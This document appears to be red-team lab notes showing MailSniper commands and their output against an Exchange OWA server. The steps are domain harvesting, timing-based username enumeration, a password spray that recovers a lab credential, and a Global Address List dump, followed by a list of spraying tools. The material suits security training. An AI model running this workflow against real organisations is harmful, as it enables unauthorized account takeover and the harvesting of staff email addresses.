Enumerate the NetBIOS name with Invoke-DomainHarvestOWA
PS C:\> Invoke-DomainHarvestOWA -ExchHostname 10.10.15.100
[*] Harvesting domain name from the server at 10.10.15.100
The domain appears to be: CYBER or cyberbotic.io
Enumerating usernames using Invoke-UsernameHarvestOWA
PS C:\> Invoke-UsernameHarvestOWA -ExchHostname 10.10.15.100 -Domain CYBER -UserList .\possible-usernames.txt -OutFile valid.txt
[*] Now spraying the OWA portal at https://10.10.15.100/owa/
Determining baseline response time...
Response Time (MS) Domain\Username
770 CYBER\nigojk
766 CYBER\hnIYRl
763 CYBER\DlQFbq
767 CYBER\ghyWXj
771 CYBER\uQbXAI
Baseline Response: 767.4
Threshold: 460.44
Response Time (MS) Domain\Username
764 CYBER\THdtMw
776 CYBER\rVNvmq
854 CYBER\AvaPOc
767 CYBER\ZQpHFz
764 CYBER\WYTZHK
77 CYBER\iyates
[*] Potentially Valid! User:CYBER\iyatesgs
[*] A total of 1 potentially valid usernames found.
Results have been written to valid.txt.
Password spraying using Invoke-PasswordSprayOWA
PS C:\> Invoke-PasswordSprayOWA -ExchHostname 10.10.15.100 -UserList .\valid.txt -Password Summer2021
[*] Now spraying the OWA portal at https://10.10.15.100/owa/
[*] SUCCESS! User:CYBER\iyates Password:Summer2021
[*] A total of 1 credentials were obtained.
Retrieving the Global Address List (GAL) using Get-GlobalAddressList
PS C:\> Get-GlobalAddressList -ExchHostname 10.10.15.100 -UserName CYBER\iyates -Password Summer2021 -OutFile gal.txt
[*] First trying to log directly into OWA to enumerate the Global Address List using FindPeople...
[*] This method requires PowerShell Version 3.0
[*] Using https://10.10.15.100/owa/auth.owa
[*] Logging into OWA...
[*] OWA Login appears to be successful.
[*] Retrieving OWA Canary...
[*] Successfully retrieved the X-OWA-CANARY cookie: ahhlRb0kZUKEg8YEo5ZZtQDYwqU8EdkIl7OJ7_ugwGfk56YCYe0ilgE2GKVxCNJTMpqknR3QJ_M.
[*] Retrieving AddressListId from GetPeopleFilters URL.
[*] Global Address List Id of b4477ba8-52b0-48bf-915e-d179db98788b was found.
[*] Now utilizing FindPeople to retrieve Global Address List
[*] Now cleaning up the list...
bfarmer@cyberbotic.io
iyates@cyberbotic.io
jadams@cyberbotic.io
jking@cyberbotic.io
nglover@cyberbotic.io
[*] A total of 5 email addresses were retrieved
[*] Email addresses have been written to gal.txt
Tools
MailSniper - Searching email in Microsoft Exchange, enumerating users and domains, gathering Global Address List (GAL) from OWA and EWS...
namemash.py - Creating a user name list for brute force attacks.
SprayingToolkit - Password spraying attacks against Lync/S4B, OWA & O365